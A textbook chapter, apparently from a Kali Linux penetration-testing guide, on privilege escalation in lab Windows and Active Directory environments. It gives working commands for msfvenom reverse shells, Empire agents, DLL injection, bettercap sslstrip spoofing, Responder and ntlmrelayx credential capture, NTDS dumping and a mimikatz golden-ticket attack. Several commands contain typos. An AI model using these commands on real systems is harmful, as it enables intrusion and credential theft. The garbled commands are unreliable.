12

Privilege Escalations

Privilege escalation is the process of going from a relatively low level of access rights to gaining the privileges of an administrator, the system, or even greater access privileges. It allows the penetration tester to own all aspects of a system’s operations. More importantly, obtaining some access privileges will allow testers to control all systems across a network. As vulnerabilities become more difficult to find and exploit, a significant amount of research has been conducted into privilege escalation as a means of ensuring a successful penetration test.

In this chapter, we will look at the following topics:

• Common escalation methodology
• Local system escalation
• DLL injection
• Credential harvesting through sniffing and escalation
• Golden ticket attack on Kerberos
• Active Directory access rights

Overview of the common escalation methodology

Everything that starts with a methodology offers an approach to a problem solution. In this section, we will go through the common escalation methodology utilized by attackers during a red teaming exercise, or penetration testing.

Figure 12.1 depicts the methodology that can be used:

Figure 12.1: A typical user privilege hierarchy

In line with the cyber kill chain methodology, the actions taken to achieve the objective include escalation of privilege to maintain persistence to the target environment.

The following are the types of user accounts that are found in any target system:

• Normal user: Typical access through a backdoor run at the level of the user who executes the backdoor. These are the normal users of the system (Windows or Unix) and are either local users or domain users with limited system access to perform only tasks that are allowed for them.
• Local administrator: Local administrators are system account holders who have the privilege to run system configuration changes.
• Delegated administrator: Delegated administrators are local user accounts with administrator privileges. Example account operators or backup operators are typical groups used in Active Directory environments to delegate administrative tasks.
• Domain administrator: Domain administrators are users who can administer the domains that they are a member of.
• Enterprise administrator: Enterprise administrators are accounts that have the most privileges for maintaining the entire forest in an Active Directory.
• Schema administrator: Schema administrators are users who can configure the schema of the forest. The reason schema admins are not included as the most privileged account is because attackers cannot add users to any other groups: that would limit the access level to modifying the Active Directory forest.

Escalating from domain user to system administrator

In most cases, attackers performing console-level attacks or social engineering attacks might gain access to a normal domain user who is not a local administrator, which leaves them with access only to a limited level of privileges. This can be bypassed and exploited to gain system-level access on the victim machine without having to be a local admin. We will utilize Windows 2008 Metasploitable3 to perform the local privilege escalation. Following are the steps involved in performing the attack:

1. Create an executable with a payload using msfvenom by running sudo msfvenom –p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=<Port No> -f exe –o Output.exe. from the Kali terminal.
2. Log in to Metasploitable3 using the normaluser user account with the password that we created in Chapter 1, Goal-Based Penetration Testing. Upload the file to the target either through file share or by simply running the simple HTTP server using Python (python3 -m http.server <custom port number>).
3. Once the file is in the target, execution of the file as a normal user should provide the reverse shell on Kali Linux. Ensure you start the Metasploit listener prior to the execution of the payload.
4. When attackers initially gain access to the system using the normal user and try to run system-level commands, you will receive the response access denied or no privilege available to run the commands on the target system.
5. This can be verified by running the getsystem command from the Meterpreter console, as shown in Figure 12.2:

   

   Figure 12.2: Meterpreter shell running getsystem

6. We will explore this local vulnerability that exists in older versions of Windows such as Windows 2008/7. We will use the latest local exploit, ms18_8120_win32k_privesc, exploiting the Win32k component, which doesn’t handle the object’s property in memory. You can move the existing Meterpreter session to the background to utilize post-exploit modules via the following steps:

   meterpreter > background 
   [*] Backgrounding session 1...
   msf6 exploit(multi/handler) > use exploit/windows/local/ms18_8120_win32k_privesc 
   [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
   msf6 exploit(windows/local/ms18_8120_win32k_privesc) > set session 1
   session => 1
   msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit
   
7. Successful exploitation of the vulnerability should open up another shell with a high privilege level, as shown in Figure 12.3:

   

   Figure 12.3: Exploiting local Windows privilege escalation vulnerability on Metasploitable3

8. Now the new session must provide you with access to the system level as NT AUTHORITYSYSTEM, which will enable attackers to create a local administrator-level user, as shown in Figure 12.4, and move laterally by extracting hash dumps using the hashdump command from the Meterpreter shell or enable RDP and log in with the new admin account:

   

   Figure 12.4: Successful access to Metasploitable3 with admin privileges

Local system escalation

In Windows 10, we can utilize a different technique to bypass the existing privilege. One of the drawbacks of this attack is, in order to get system-level access, the affected local user must be part of the local administrators group.

Attackers will be able to run the Meterpreter shell only in the context of the user. To bypass this restriction, we can leverage multiple post-exploit modules. We will be sending the background command to our Meterpreter shell to run the post exploit module. In this example, we will utilize the bypassuac_fodhelper post-exploit module, as shown in Figure 12.5:

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper
msf exploit(multi/handler) > set session 1
msf exploit(multi/handler) > exploit

Figure 12.5: Exploiting Windows 10 local privilege escalation

The bypassuac_fodhelper module in the Meterpreter shell will utilize the existing session to provide a more privileged Meterpreter shell, as shown in Figure 12.6:

Figure 12.6: Successful access to Windows 10 with SYSTEM privileges

We have successfully run the local exploit to gain the SYSTEM level privileges from a low-privileged user. In the next section, we will exploit the user with local administrative privileges to escalate them to a SYSTEM level user.

Escalating from administrator to system

Administrator privileges allow an attacker to create and manage accounts and access most data available on a system. However, some complex functionality mandates that the requester have system-level access privileges. There are several ways to continue this escalation to the system level. The easiest way is to run PsExec to get system-level access by uploading PsExec to the desired folder and run the following command as a local administrator:

PsExec -s -i -d cmd.exe

This command should open up another Command Prompt as the system user, as shown in Figure 12.7:

Figure 12.7: Escalating from local administrator to SYSTEM using Psexec

DLL injection

DLL (Dynamic Link Library) injection is another easy technique that is utilized by attackers to run remote code in the context of the address space of another process. This process must be running with excess privileges that can then be used to escalate privilege in the form of a DLL file.

Metasploit has a specific module you can use to perform DLL injection. The only thing the attacker needs to do is link the existing Meterpreter session and specify the PID of the process and the path of the DLL. We will explore another way and utilize the PowerShell DLL injection module from the Empire tool. You can create a DLL with the payload via msfvenom:

sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f dll -o /home/kali/injectmex64.dll

Once we have the backdoor DLL file created, we can utilize the existing Meterpreter session to run PowerShell. Attackers can create a PowerShell payload by running the following commands in the terminal:

sudo powershell-empire server 
sudo powershell-empire client (in a new tab)
uselistener http
set Host <Your IP>
set Port <port number>
execute
usestager multi/launcher
set Listener http
execute

That should provide us with the PowerShell payload that we can execute on the target. In this case, we will utilize Windows 10 as an example and run the PowerShell script directly from the Meterpreter shell, as seen in Figure 12.8:

Figure 12.8: Executing Empire agent payload from Meterpreter

Successful execution of PowerShell should report an agent to the Empire console. Attackers can validate that by running the agents command and actively executing commands on the agent type interact with the agent name within Empire, as shown in Figure 12.9:

Figure 12.9: Successful agent reporting to the Empire client console

Testers can now upload the DLL file that we created to the target system; this will upload to the folder from where the PowerShell script was executed:

Figure 12.10: Uploading the malicious DLL to the target

Running the ps command in the PowerShell Empire terminal should provide us with the list of current processes running on the target. Select the right process, which is running as NT AUTHORITY/SYSTEM, and execute the following commands in the PowerShell Empire terminal:

(Empire: 2A54TX1L) > ps
(Empire: 2A54TX1L) > upload /root/chap12/injectme.dll
(Empire: 2A54TX1L) > usemodule code_execution/invoke_dllinjection
(Empire: powershell/code_execution/invoke_dllinjection) > set ProcessID 4060
(Empire: powershell/code_execution/invoke_dllinjection) > set Dll C:<location>injectmex64.dll
(Empire: powershell/code_execution/invoke_dllinjection) > execute

Once the DLL file is injected into a running process, attackers should be able to see an agent reporting back as a privileged user, as shown in Figure 12.11:

Figure 12.11: Successful upload of the malicious DLL to the target

Once you have successfully invoked the DLL, the payload must be executed and must have opened up a reverse shell as the system-level user, as shown in Figure 12.12:

Figure 12.12: Reverse shell on Meterpreter through successful DLL injection using PowerShell Empire

We have successfully performed the DLL injection to gain a highly privileged SYSTEM account. In the next section, we will explore a different approach to harvest credentials and escalate privileges.

Credential harvesting and escalation attacks

Credential harvesting is the process of identifying usernames, passwords, and hashes that can be utilized to achieve the objective set by the organization for a penetration testing/red team exercise. In this section, we will walk through three different types of credential harvesting mechanisms that are typically used by attackers in Kali Linux.

Password sniffers

Password sniffers are a set of tools/scripts that typically perform man-in-the-middle attacks by discovery, spoofing, sniffing traffic, and by proxying. From our previous experience, we noted that most organizations do not utilize SSL internally; Wireshark revealed multiple usernames and passwords.

In this section, we will explore bettercap to capture SSL traffic on the network so that we can capture the credentials of network users. bettercap is similar to the previous-generation ettercap command, with the additional capability to perform network-level spoofing and sniffing. It can be downloaded to Kali Linux by running sudo apt install bettercap from the terminal. bettercap underwent a lot of development between 2018 and 2020 to make it compatible with the user interface and enabled caplet use. Caplets are just .cap files that can be scripted to achieve an objective for interactive sessions; this can be installed or updated by running a simple command on the terminal: sudo apt install bettercap-caplets.

This tool can be utilized for a more effective man-in-the-middle attack on a given internal network. In this example, we will utilize one caplet with the following script to capture passwords with an ARP and DNS spoof within the bettercap shell:

net.sniff on
" set http.proxy.sslstrip true
" http.proxy on
" set dns.spoof.domains www.office.com,login.microsoftonline.com,testfire.net
" set dns.spoof.all true
" dns.spoof on
" arp.spoof on

bettercap must be able to sniff all the traffic on the target network without any problems, as Figure 12.13 showcases:

Figure 12.13: Capturing plaintext passwords on HTTP protocol using bettercap

To strip SSL traffic, we can utilize the https.proxy module, as follows:

" net.sniff on
" set https.proxy.sslstrip true
" https.proxy on
" arp.spoof on
" hstshijack/hstshijack

The hstshijack caplet will enable attackers to view the requests when a web server redirects the HTTP traffic to HTTPS and attackers can leverage the redirects to force the web server to respond on HTTP. The preceding commands in bettercap must enable attackers to see HTTPS traffic, as shown in Figure 12.14:

Figure 12.14: Sniffing all the encrypted URLs using the sslstrip caplet in Bettercap

Penetration testers should be careful when using bettercap, as this will pause the entire network your Kali Linux is connected to when arp spoof on is run.

Responder

Responder is an in-built Kali Linux tool for Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) that responds to specific NetBIOS queries based on the file server request. This tool can be launched by running responder -I eth0 (ethernet adapter name of your network that you want to) -h in the terminal, as shown in Figure 12.15:

Figure 12.15: The Responder tool’s main menu

Responder has the ability to do the following:

• Check for a local host file that includes any specific DNS entries
• Automatically perform a DNS query on the selected network
• Use LLMNR/NBT-NS to send out broadcast messages to the selected network

Attackers on the same network can fire up Responder on the network by running sudo responder –I eth0 –wF –v in the Kali terminal, as shown in Figure 12.16. Responder has the ability to set up multiple server types by itself:

Figure 12.16: Running Responder on the local network to perform a MiTM attack

In this example, let’s say we venom the entire network if a device tries to access the fileserver \<FILESERVER>\. This will then redirect to the responder-hosted SMB server to capture the NTLM username and hash.

If the victims try and access the Kali Linux IP or the hostname that is poised and redirected to the responder, the victims will have the popup shown in Figure 12.7 and Responder will capture the username and NTLM hash of the value that is submitted:

Figure 12.17: Popup created by Responder to capture the NTLM username and password hash

During a red team activity, we noted that security teams who successfully identified the rogue device went on entering the domain administrator credentials to access the rogue device over SMB. Now the attackers use Responder to pause the results, including the NTLM username and the hash, as shown in Figure 12.18:

Figure 12.18: Responder poisoning the network and capturing the username and NTLMv2 hashes

All the log files will be available in /usr/share/responder/logs/, and the log filename will be SMB-NTLMv2-SSP-<IP>.txt. This can then be passed directly to John the Ripper or hashcat by running john SMBv2-NTLMv2-SSP-<IP>.txt for the offline cracking of the NTLM hash that was captured or hashcat –m 5600 SMB-NTLVMv2-SSP-<IP>.txt <wordlist>. If the dictionary did include the password, then it would be cracked, as Figure 12.19 shows for hashcat:

Figure 12.19: Successfully cracking the NTLMv2 SMB password for the user

Performing a MiTM attack on LDAP over TLS

In this section, we will explore how to gain local admin credentials of a given endpoint using a stealthy method. Microsoft Kerberos has a delegation feature that allows any application to reuse the user credentials to access resources hosted on different servers. This Kerberos delegation can be exploited when it’s a fresh installation of Windows servers with default configurations. This technique works if the network has LLMNR, NBT-NS that enforces LDAP signing, and channel binding of the LDAP (Lightweight Directory Access Protocol) over TLS (Transport Layer Security).

In this scenario, pentesters have access to the internal network and find a Windows 10 device that is connected to the same network. As a first step, testers can identify the hostname or domain name by just running crackmapexec on the IP range. This would actually be noisy and might alert the administrators about you trying to authenticate to all the systems on the network anonymously.

Once the domain name and the target device are identified, we add the internal DNS IP to our Kali Linux by adding the nameserver IP to /etc/resolv.conf to ensure we can reach the local hostnames within the target network. Windows versions from Vista and above have IPv6 enabled by default, and when devices boot up, they will start looking for configurations for DHCP and WPAD.

We will utilize mitm6. This tool is not pre-installed in Kali Linux. To install the tool, run sudo pip3 install mitm6 and then run sudo mitm6 –hw <Windows 10 machine name> -d <Domain name> --ignore-nofqdn, which should whitelist the IPv6 DNS and be ready to provide the IPv6 address of the Kali Linux as part of the default gateway:

Figure 12.20: Performing a MiTM attack using mitm6

Once mitm6 is up and running, the victim devices on the network should now be using the default gateway without Kali Linux IPv6 IP addresses on all the available targets, as seen in Figure 12.21:

Figure 12.21: Target machine with the new IPv6 address added to the gateway

However, to perform the next step, a reboot of the victim device is advised. To capture the credentials, we will utilize Impacket, which is a collection of open-source modules written in Python mainly utilized to manipulate network protocols. It is installed by default in Kali Linux. Particularly to perform this attack, we will use impacket-ntlmrelayx to host LDAPS and WPAD services on the target by running the following command in the terminal, as seen in Figure 12.22:

sudo impact-ntlmrelayx –t ldaps://domaincontrollerIP –delegate-access –no-smb-server –wh attacker-wpad  

Figure 12.22: Running impacket-ntlmrelay targeting LDAP and WPAD services

When ntlmrelayx captures the credentials successfully, you should see the confirmation within the same window, as seen in Figure 12.23:

Figure 12.23: Successfully relaying the NTLM hash to the LDAP server

Not only does ntlmrelayx authenticate to the real LDAPS service, but it also has the ability to dump all the domain details such as domain users, domain computers, and domain trusts saved within the same folder where the command was run from.

Additionally, NTLMrelayx should create a new machine account by relaying the delegation, acting as a frontend application that is trying to reuse the user credentials, and it will modify msDS-AllowedToActOnBehalfOfOtherIdentity on Windows 10 to allow the newly created machine to impersonate any user on that local machine.

Attackers should be able to see the following confirmation:

Figure 12.24: Successfully adding a computer to the domain

By design, in Active Directory, users can create additional machine accounts. The next step is to request the service ticket to access the Windows 10 impersonating domain admin privileges. For that, we will need to call a service principal name (SPN), which is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. Attackers can leverage the output that was created from lootdir to get the SPNs that are available. We will now utilize the impacket-getST Python script to impersonate the highly privileged administrator account to the domain controller. You should be prompted to enter the password and finally capture the service ticket and it will be saved in .ccache format to the same folder where the command was run:

sudo impact-getST –spn SPNname/TargetMachinename Domainname/NewComputerCreatedbyNTLMrelayx –impersonate Administrator –dc-ip <Domain controller IP >

Figure 12.25: Creating a service ticket for a specific SPN impersonating a high-privilege user

Using the service ticket, we need to export the KRB5CCNAME ticket to an environment variable by running export KRB5CCNAME=/Home/kali/Administrator.ccache in the Kali Linux terminal. The Impacket modules will utilize the values directly from the environment variables. Now we are ready to authenticate to the target machine with the service ticket that we generated from the domain controller and run as a high-privileged user.

We run sudo impacket-wmiexec -k –no-pass –debug target-Machine-DNS-Name. A successful exploitation will bring the following screen:

Figure 12.26: Executing the WMIC on the target machine

Additionally, the same should also provide us with a limited shell but running as the user who created the service ticket. Attackers can leverage this shell to run the PowerShell Empire script to again complete an interactive session:

Figure 12.27: Limited shell on the target machine as a high-privilege user

We can also extract the local hash on the target machine. This can be achieved by running sudo impacket-secretsdump –k –no-pass –debug <Target Machine name>, which should provide us with the local hashes, as seen in Figure 12.28:

Figure 12.28: Dumping all the local hashes from the target machine

One other thing pentesters normally forget is to validate the machine hash. Most of the time, this should provide us with lots of information such as shared drives on the target device. This can be verified by running crackmapexec smb on the target IP with the hash value that we get from impacket-secretsdump:

Figure 12.29: Verifying the machine hash using crackmapexec

Escalating access rights in Active Directory

We have just explored how to escalate privileges within a system and how to grab credentials over the network. Now let’s utilize all the details that we have collected so far; then we should be able to achieve the goal of penetration testing using the cyber kill chain methodology. In this section, we will escalate the privilege of a normal domain user to that of the domain administrator.

We identify the system that is connected to the domain and utilize our Empire PowerShell tool to escalate to the domain controller and dump all the username and password hashes:

Figure 12.30: Current reporting agents in PowerShell Empire

You can harvest more information about the domain using the situational_awareness module, get_domain_controller:

usemodule situational_awareness/network/powerview/get_domain_controller

Figure 12.31: Output of the domain controller details

To identify who is logged in to the domain, attackers can utilize the get_loggedon module, described as follows:

usemodule situational_awareness/network/powerview/get_loggedOn
execute

All users who logged in to the domain controllers will be visible, as shown in Figure 12.32:

Figure 12.32: Logon details on the domain controller

Escalate the privilege locally by using the getsystem module, as shown in Figure 12.33:

Figure 12.33: Empire module successfully getting SYSTEM privilege

The next step of the escalation methodology is to escalate the privilege to that of the domain administrator. This will not be required once you have run mimikatz to dump all the user passwords and hashes, as shown in the following screenshot.

You can use the hash or plaintext test password to authenticate through the PsExec module in Metasploit or CrackMapExec:

Figure 12.34: PowerShell Empire output of Mimikatz

Now attackers can check all the credentials in the Empire tool’s credentials storage by typing credentials in the Empire interface, as shown in Figure 12.35:

Figure 12.35: Credentials that are stored within PowerShell Empire

The fastest way to dump all users in Active Directory is to use crackmapexec smb and pass the hash, as seen in Figure 12.36:

Figure 12.36: Extracting the NTDS using CrackMapExec

If the attackers choose to do it manually, the next step is to leverage CrackMapExec to validate the hash against the domain controller and also run the PowerShell Empire agent payload, as seen in Figure 12.37:

Figure 12.37: Executing the PowerShell payload on the domain controller using crackmapexec

This will invoke the domain controller so it becomes an agent to the listener. Once the agent is reported back to the Empire tool, we can change the agent to the newly reported computer by running interact <Name>. Then, using the management/enable_rdp module will enable remote desktop protocol (RDP) on the domain controller.

We have to locate the entire registry of SECURITY and SYSTEM, and it is crucial to use ntds.dit. This can be performed by a single PowerShell command utilizing ntdsutil:

ntdsutil "ac I ntds" "ifm" "create full c:	emp" q q

What does the preceding command do?

ntdsutil is a command-line utility built into the Windows Server family that enables the management of Active Directory domain services.

This utility, Install from Media (IFM), helps us to download all the Active Directory database and registry settings from the domain controller to flat files, as shown in Figure 12.38. Finally, we can see these files at c: emp with two folders, Active Directory and registry:

Figure 12.38: Manually creating the NTDS snapshots

Now both the registry and system hive have been created in the c: emp folder, which can be utilized for offline password cracking using secretsdump.py.

secretsdump.py is an in-built script within Kali Linux from Impacket. To see plaintext and hashed passwords, attackers can run secretsdump.py -system <systemregistry> -security <securityregistry> -ntds <location of ntds> "LOCAL" in the terminal. All Active Directory usernames and their password hashes must be visible to attackers.

Similarly, if the objective is to extract only a domain hash dump, attackers can utilize the agent running on the domain controller and run the credentials/Mimikatz/dcysnc_hashdump module, which will run directly on the domain controller to extract only the username and password hashes of all domain users, as shown in Figure 12.39:

Figure 12.39: Output of the DCSync Hashdump module

Compromising Kerberos – a golden-ticket attack

Another set of more sophisticated (and more recent) attacks is the abuse of Microsoft Kerberos vulnerabilities in an Active Directory environment. A successful attack leads to attackers compromising domain controllers and then escalating the privilege to the enterprise admin and schema admin level using the Kerberos implementation.

The following are typical steps when a user logs on with a username and password in a Kerberos-based environment:

1. The user’s password is converted into an NTLM hash with a timestamp and then it is sent over to the Key Distribution Center (KDC).
2. The domain controller checks the user information and creates a Ticket-Granting Ticket (TGT).
3. This Kerberos TGT can only be accessed by the Kerberos service (KRBTGT).
4. The TGT is then passed on to the domain controller from the user to request a Ticket Granting Service (TGS) ticket.
5. The domain controller validates the Privileged Account Certificate (PAC). If it is allowed to open the ticket, then the TGT is effectively copied to create the TGS.
6. Finally, the service is granted for the user to access the services.

Attackers can manipulate these Kerberos tickets based on the password hashes that are available. For example, if you have already compromised a system that is connected to a domain and extracted the local user credentials and password hashes, the next step is to identify the KRBTGT password hash to generate a golden ticket; this will make it a little difficult for the forensics and incident response teams to identify the origin of the attack.

In this section, we will explore how easy it is to generate a golden ticket. We can exploit the vulnerability in just a single step by utilizing the Empire tool, assuming we have a domain-connected computer with a normal domain user with local admin privileges on that computer.

All Active Directory controllers are responsible for handling Kerberos ticket requests, which are then used to authenticate the domain users. The krbtgt user account is used to encrypt and sign all the Kerberos tickets generated within a given domain and then the domain controllers use this account’s password to decrypt the Kerberos tickets for a chain of validation. Pentesters must remember that most service accounts, including krbtgt, are not subject to password expiry or password changes and the account name is usually the same.

We will use the low-privileged domain user with local admin access to generate the token, pass the hash to the domain controller, and generate the hash for the specified account. This can be achieved with the following steps:

1. List all the credentials harvested in the Empire tool by running the credentials command; If we do not see krbtgt, then we will utilize the agent that is running on the domain controller to get the hash value. In this case, we will run CrackMapExec on the domain controller using exchangeadmin as the value and interact with the agent.
2. The next step is to identify a process that is running as privilege-level, steal the token, and run a further command with the use of the steal_token PID command in the Empire tool, as shown in Figure 12.40:

   

   Figure 12.40: Stealing a session token of a high-privilege user

3. Now we are set to run as Administrator from the domain controller that is running the mastering.kali.fourthedition domain. The output should include the domain SID and the necessary password hash:

   usemodule credentials/Mimikatz/dcysnc
   set domain mastering.kali.fourthedition
   set username krbtgt
   run
   

   

   Figure 12.41: Output of DCSync and successfully capturing the password hash of krbtgt

4. By now, we should have stolen the krbtgt user account password hash, if the domain controller is vulnerable. Attackers should do the same across all the domain controllers if DCSync failed, and they should be able to see the new credential added to the existing list with the username krbtgt:

   

   Figure 12.42: Validating the hash value of krbtgt in PowerShell Empire

5. Finally, when we get the Kerberos hash, this hash can be passed to the domain controller to issue a golden ticket. Now we can utilize the low-privileged user, normaluser, and run the golden_ticket module with the right credential ID and any username for the module. When the module is successfully executed, you should be able to see a message as shown in the following screenshot and run the golden ticket module with any user you like:

   usemodule credentials/mimikatz/golden_ticket
   set user Cred ID
   set user IDONTEXIST
   execute
   
6. Successful execution of the module should provide us with the details shown in Figure 12.43:

   

   Figure 12.43: Creating the golden ticket using krbtgt and an invalid user

7. And attackers can validate the generated Kerberos ticket using klist whether the ticket generated is in the session or not, as seen in Figure 12.44:

   

   Figure 12.44: Validating the cached tickets on the target machine

8. With the golden ticket, the attacker should be able to view any files on the domain controller as follows, or any system on the domain with this golden ticket, and exfiltrate data:

   

   Figure 12.45: Successful exploitation of the golden ticket attack

This can also be achieved by running the following from mimikatz on the compromised system, if the attacker has a remote desktop session on the target domain controller, with the following command:

kerberoserberos::golden /admin:Administrator /domain:Mastering.kali.fourthedition /id:ACCOUNTID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt

By running this, attackers get authenticated as any user, even a non-existing user, including the enterprise-administrator and schema-administrator levels. Within the same ticket, attackers can also perform DCSync using Mimikatz, as seen in Figure 12.46:

Lsadump::dcsync /domain:mastering.kali.fourthedition /all /csv

Figure 12.46: Performing DCSync using Mimikatz on a low-privilege user using the golden ticket

One more similar attack is the Kerberos silver-ticket attack, which is not talked about much. This attack again forges the TGS, but it is signed by a service account; this means the silver-ticket attack is limited to whatever service is directed on the server. The PowerShell Empire tool can be utilized to exploit the same vulnerability using the credentials/mimikatz/silver_ticket module by providing the rc4/NTLM hash to the parameters.

Summary

In this chapter, we looked at the methodology of escalating privileges and explored different methods and tools that can be utilized to achieve our penetration test goal.

We first started with common system-level privilege escalation by exploiting ms18_8120_win32k_privesc on Windows Server 2008 and using bypassuac_fodhelper on Windows 10 machines. We focused on utilizing Meterpreter to gain system-level control and later we took a detailed look at utilizing the Empire tool; then we harvested credentials by using password sniffers on the network. We also utilized Responder and performed NTLM relay attacks to gain remote system access, and we used Responder to capture the passwords of different systems on a network that utilizes SMB.

We completely compromised an Active Directory using a structured approach. Finally, we exploited access rights in Active Directory by using PowerShell Empire and a compromised Kerberos account and performed a golden-ticket attack utilizing the Empire tool.

In the next chapter (Chapter 13, Command and Control), we will learn how attackers use different techniques to maintain access to a compromised system in line with the cyber kill chain methodology. We will also delve into how to exfiltrate data from internal systems to external systems.